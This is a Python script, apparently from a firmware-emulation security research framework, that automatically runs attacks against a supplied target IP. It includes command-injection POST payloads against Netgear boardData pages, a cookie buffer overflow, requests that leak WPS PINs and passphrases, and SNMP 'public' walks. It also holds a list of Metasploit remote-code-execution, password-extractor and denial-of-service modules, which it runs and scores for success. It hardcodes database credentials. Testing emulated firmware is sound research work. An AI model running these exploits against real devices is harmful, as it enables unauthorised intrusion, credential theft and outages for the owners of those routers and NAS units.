#!/usr/bin/env python

import os
import sys
import getopt
import subprocess
import contextlib
import psycopg2

SHELL_EXPLOITS = {
    200 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF1;&reginfo=1&writeData=Submit\" http://%(target)s/boardData102.php", "grep -qs \"DEADBEEF1\" qemu.serial"), # CVE-2016-1555
    201 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF2;&reginfo=1&writeData=Submit\" http://%(target)s/boardData103.php", "grep -qs \"DEADBEEF2\" qemu.serial"), # CVE-2016-1555
    202 : ("curl -L --max-redir 0 -m 5 -s -f http://%(target)s/ROM-0", ""), # https://rootatnasro.wordpress.com/2014/01/11/how-i-saved-your-a-from-the-zynos-rom-0-attack-full-disclosure/
    203 : ("curl -L --max-redir 0 -m 5 -s -f -b dlink_uid=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA http://%(target)s/session_login.php", "grep -qs \"BadVA : 41414141\" qemu.serial"), # CVE-2016-1558
    204 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF3;&reginfo=1&writeData=Submit\" http://%(target)s/boardDataJP.php", "grep -qs \"DEADBEEF3\" qemu.serial"), # CVE-2016-1555
    205 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF4;&reginfo=1&writeData=Submit\" http://%(target)s/boardDataNA.php", "grep -qs \"DEADBEEF4\" qemu.serial"), # CVE-2016-1555
    206 : ("curl -L --max-redir 0 -m 5 -s -f -X POST -d \"macAddress=000000000000;cat DEADBEEF5;&reginfo=1&writeData=Submit\" http://%(target)s/boardDataWW.php", "grep -qs \"DEADBEEF5\" qemu.serial"), # CVE-2016-1555
    207 : ("curl -L --max-redir 0 -m 5 -s -f http://%(target)s/getBoardConfig.php", "grep -qs -e \"WPS PIN\" -e \"PASSPHRASE\" %(output)s"), # CVE-2016-1556
#    208 : ("curl -L --max-redir 0 -m 5 -s -f \"http://%(target)s/mfgwrite.php?product=;cat DEADBEEF6\"", "grep -qs \"DEADBEEF6\" qemu.serial"),
    209 : ("snmpwalk -v2c -c public %(target)s .iso", "grep -qs \".2.1.3.3.2.1.1.4\" %(output)s"), # CVE-2016-1559
    210 : ("snmpwalk -v2c -c public %(target)s .iso", "grep -qs \".4.1.1.1\" %(output)s "), # CVE-2016-1559
    211 : ("snmpwalk -v2c -c public %(target)s iso.3.6.1.4.1.4526.100.7.8.1.5", ""), # CVE-2016-1557
    212 : ("snmpwalk -v2c -c public %(target)s iso.3.6.1.4.1.4526.100.7.9.1.5", ""), # CVE-2016-1557
    213 : ("snmpwalk -v2c -c public %(target)s iso.3.6.1.4.1.4526.100.7.9.1.7", ""), # CVE-2016-1557
    214 : ("snmpwalk -v2c -c public %(target)s iso.3.6.1.4.1.4526.100.7.10.1.7", ""), # CVE-2016-1557
#    215 : ("curl -L --max-redir 0 -m 5 -s -f http://%(target)s/userRpmNatDebugRpm26525557/linux_cmdline.html", ""), # http://websec.ca/advisories/view/root-shell-tplink-wdr740
}

METASPLOIT_EXPLOITS = {
    0 : "use exploits/linux/http/airties_login_cgi_bof",
    1 : "use exploits/linux/http/belkin_login_bof",
    2 : "use exploits/linux/http/ddwrt_cgibin_exec",
    3 : "use exploits/linux/http/dlink_authentication_cgi_bof",
    4 : "use exploits/linux/http/dlink_command_php_exec_noauth",
    5 : "use exploits/linux/http/dlink_diagnostic_exec_noauth",
    6 : "use exploits/linux/http/dlink_dir300_exec_telnet",
    7 : "use exploits/linux/http/dlink_dir605l_captcha_bof",
    8 : "use exploits/linux/http/dlink_dir615_up_exec",
    9 : "use exploits/linux/http/dlink_dspw110_cookie_noauth_exec",
    10 : "use exploits/linux/http/dlink_dspw215_info_cgi_bof",
    11 : "use exploits/linux/http/dlink_hedwig_cgi_bof",
    12 : "use exploits/linux/http/dlink_hnap_bof",
    13 : "use exploits/linux/http/dlink_hnap_header_exec_noauth",
    14 : "use exploits/linux/http/dlink_upnp_exec_noauth",
    # 15 : "use exploits/router/dreambox_openpli_shell",
    16 : "use exploits/linux/http/fritzbox_echo_exec",
    17 : "use exploits/linux/http/linksys_apply_cgi",
    # 18 : "use exploits/linux/http/linksys_e1500_apply_exec",
    19 : "use exploits/linux/http/linksys_themoon_exec",
    # 20 : "use exploits/linux/http/linksys_wrt54gl_apply_exec",
    # 21 : "use exploits/linux/http/linksys_wrt110_cmd_exec",
    # 22 : "use exploits/linux/http/linksys_wrt160nv2_apply_exec",
    23 : "use exploits/linux/http/multi_ncc_ping_exec",
    24 : "use exploits/linux/http/netgear_dgn1000b_setup_exec",
    # 25 : "use exploits/linux/http/netgear_dgn2200b_pppoe_exec",
    26 : "use exploits/linux/http/netgear_readynas_exec",
    27 : "use exploits/linux/http/realtek_miniigd_upnp_exec_noauth",
    28 : "use exploits/linux/http/seagate_nas_php_exec_noauth",
    29 : "use exploits/linux/misc/sercomm_exec",
    30 : "use exploits/linux/upnp/dlink_upnp_msearch_exec",
    31 : "use exploits/linux/upnp/miniupnpd_soap_bof",
    32 : "use exploits/multi/http/cisco_dcnm_upload",
    33 : "use exploits/multi/upnp/libupnp_ssdp_overflow",
    # 34 : "use exploits/unix/dhcp/bash_environment",
    # 35 : "use auxiliary/router/cisco_secure_acs_bypass",
    36 : "use auxiliary/admin/cisco/vpn_3000_ftp_bypass",
    37 : "use auxiliary/admin/http/arris_motorola_surfboard_backdoor_xss",
    38 : "use auxiliary/admin/http/dlink_dir_300_600_exec_noauth",
    39 : "use auxiliary/admin/http/dlink_dir_645_password_extractor",
    40 : "use auxiliary/admin/http/dlink_dsl320b_password_extractor",
    41 : "use auxiliary/admin/http/intersil_pass_reset",
    # 42 : "use auxiliary/admin/http/linksys_e1500_e2500_exec",
    43 : "use exploits/router/linksys_tmunblock_admin_reset_bof",
    # 44 : "use auxiliary/admin/http/linksys_wrt54gl_exec",
    45 : "use auxiliary/admin/http/netgear_soap_password_extractor",
    46 : "use auxiliary/admin/http/zyxel_admin_password_extractor",
    47 : "use auxiliary/admin/misc/sercomm_dump_config",
    48 : "use auxiliary/admin/motorola/wr850g_cred",
    49 : "use auxiliary/admin/vxworks/apple_airport_extreme_password",
    50 : "use auxiliary/admin/vxworks/dlink_i2eye_autoanswer",
    51 : "use auxiliary/admin/vxworks/wdbrpc_memory_dump",
    52 : "use auxiliary/admin/vxworks/wdbrpc_reboot",
    53 : "use auxiliary/dos/cisco/ios_http_percentpercent",
    54 : "use auxiliary/dos/dhcp/isc_dhcpd_clientid\nset RIP %(target)s",
    # 55 : "use auxiliary/router/ntpd_reserved_dos",
    56 : "use auxiliary/dos/upnp/miniupnpd_dos",
    57 : "use auxiliary/scanner/http/cisco_ios_auth_bypass",
    58 : "use auxiliary/scanner/http/cisco_nac_manager_traversal",
    59 : "use auxiliary/scanner/http/dlink_user_agent_backdoor",
    60 : "use auxiliary/scanner/http/linksys_e1500_traversal",
    61 : "use auxiliary/scanner/http/goahead_traversal",
    62 : "use auxiliary/scanner/http/litespeed_source_disclosure\nset PATH_SAVE /tmp/",
    63 : "use auxiliary/scanner/http/netgear_sph200d_traversal",
    64 : "use auxiliary/scanner/ssl/openssl_ccs",
    65 : "use auxiliary/scanner/ssl/openssl_heartbleed",
    66 : "use auxiliary/scanner/http/allegro_rompager_misfortune_cookie",
    67 : "use auxiliary/dos/dns/bind_tkey",
    68 : "use exploits/linux/http/synology_dsm_sliceupload_exec_noauth",
    69 : "use auxiliary/scanner/snmp/sbg6580_enum",
    70 : "use auxiliary/scanner/snmp/arris_dg950",
    71 : "use exploits/linux/http/dlink_hnap_login_bof", # Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow
    72 : "use exploits/linux/http/netgear_r7000_cgibin_exec", # Netgear R7000 and R6400 cgi-bin Command Injection, import on 2017/03/20
    73 : "use exploits/linux/http/netgear_wnr2000_rce", # NETGEAR WNR2000v5 (Un)authenticated hidden_lang_avi Stack Overflow, import on 2017/03/27
}

# this attempts to default to stdout if an output file is not provided, but may be buggy
@contextlib.contextmanager
def smart_open(filename, mode):
    if filename:
        f = open(filename, mode)
    else:
        f = sys.stdout

    try:
        yield f

    finally:
        if f != sys.stdout:
            f.close()

def exploit_metasploit(target, eid, outfile=None):
    cmd = METASPLOIT_EXPLOITS[eid] % {'target':target}
    return cmd + "\nexploit -z\n" if not outfile else "spool " + outfile % \
        {'exploit':eid} + "\n" + cmd + "\nexploit -z\nspool off\nsessions -K\n"

def exploit_shell(target, eid, outfile=None):
    print("Executing shell command...")

    # create log file for this shell command execution
    if outfile:
        outfile = outfile % {'exploit':eid}

    with smart_open(outfile, 'w') as f:
        ret = subprocess.run(SHELL_EXPLOITS[eid][0] % {'target': target},
                              stderr=f, stdout=f, shell=True).returncode
        # always run verification command if available; do not attempt early
        # termination if the first command appears to fail
        # this fixes e.g. 203, which crashes the HTTP server and causes curl to
        # return CURLE_GOT_NOTHING (52)
        if SHELL_EXPLOITS[eid][1]:
            ret = subprocess.run(SHELL_EXPLOITS[eid][1] % \
            {'target':target, 'output':outfile}, stderr=f, stdout=f, shell=True).returncode
        f.write("\nResult: %d" % ret)

def scoring(outfile):
    dbh = psycopg2.connect(database = "exploit", user = "firmadyne",
                           password = "firmadyne", host = "127.0.01")
    cur = dbh.cursor()

    print("\n===== Exploited result =====")
    exploited = []
    for eid in list(METASPLOIT_EXPLOITS.keys()):
        cmd = "cat " + outfile % {'exploit' : eid} + " | grep -q +"
        rcode = subprocess.call(cmd, shell = True)
        if rcode != 1:	# exploited!
            exploited.append(eid)

    if len(exploited) == 0:
        print("None")
    else:
        score = 0
        for eid in exploited:
            query = """SELECT * FROM module WHERE id = %(eid)s"""
            cur.execute(query, {'eid' : eid})
            x = cur.fetchone()[1]
            print("Exploited module: %s" % x)

            query = """SELECT * FROM score WHERE id = %(eid)s"""
            cur.execute(query, {'eid' : eid})
            y = cur.fetchone()
            if y[2] is None:
                rank = y[1]
                if rank == "Excellent":
                    s = 10.0
                elif rank == "Great":
                    s = 8.6
                elif rank == "Good":
                    s = 7.1
                elif rank == "Normal":
                   s = 5.7
                elif rank == "Average":
                   s = 4.3
                elif rank == "Low":
                   s = 2.9
                elif rank == "Manual":
                   s = 1.4
            else:
                s = float(y[2])
            print("Score: %.1f" % s)

            score = score + (10 - score) * s / 10

    print("------------------------------")
    print("Total Score: %.2f" % score)
    print("============================")

def process(target, exploits, outfile=None):
    cmd = "setg RHOST %(target)s\nsetg RHOSTS %(target)s\n\n" % \
        {'target': target}
    # not great performance, because we will wait until all exploits have
    # been processed before starting metasploit with the script
    for e in exploits:
        if e in METASPLOIT_EXPLOITS:
            cmd += exploit_metasploit(target, e, outfile) + "\n"
        elif e in SHELL_EXPLOITS:
            exploit_shell(target, e, outfile)
        else:
            print("Unrecognized exploit: %d" % e)
    cmd += "quit"

    # write metasploit script to attempt exploits
    print("Writing script.rc...")
    with open("script.rc", 'w') as f:
        f.write(cmd)

    # create log file for all metasploit exploit execution
    if outfile:
        logfile = outfile % {'exploit': "metasploit"}
    else:
        logfile = "/dev/stdout"

    print("Executing metasploit command...")
    with smart_open(logfile, 'w') as f:
        ret = subprocess.run(['/bin/sh', '-c', 'msfconsole -qr script.rc'], stderr=f, stdout=f).returncode
        f.write("\nResult: %d" % ret)

    # print the exploited result and scoring
    scoring(outfile)

def main():
    exploits = []
    outfile = None
    if len (sys.argv) != 7:
        print ("Usage: ./runExploits.py -t <target-ip> -o <output-dir> -e <exploits>")
        print ("Note: <exploits> can be 'all' or a list of exploits seperated by ','")
        exit (1)
    opts, argv = getopt.getopt(sys.argv[1:], 'e:t:o:')
    for k, v in opts:
        if k == '-e':
            if v == 'all':
                exploits = list (METASPLOIT_EXPLOITS.keys()) + list (SHELL_EXPLOITS.keys())
            else:
                exploits = [int(x) for x in v.split(',')]
        if k == '-t':
            target = v
        if k == '-o':
            if not os.path.isdir(v):
                if os.path.exists(v):
                    os.remove(v)
                os.makedirs(v, 0o755);
            outfile = v + "/%(exploit)s.log"

    process(target, exploits, outfile)

if __name__ == "__main__":
    main()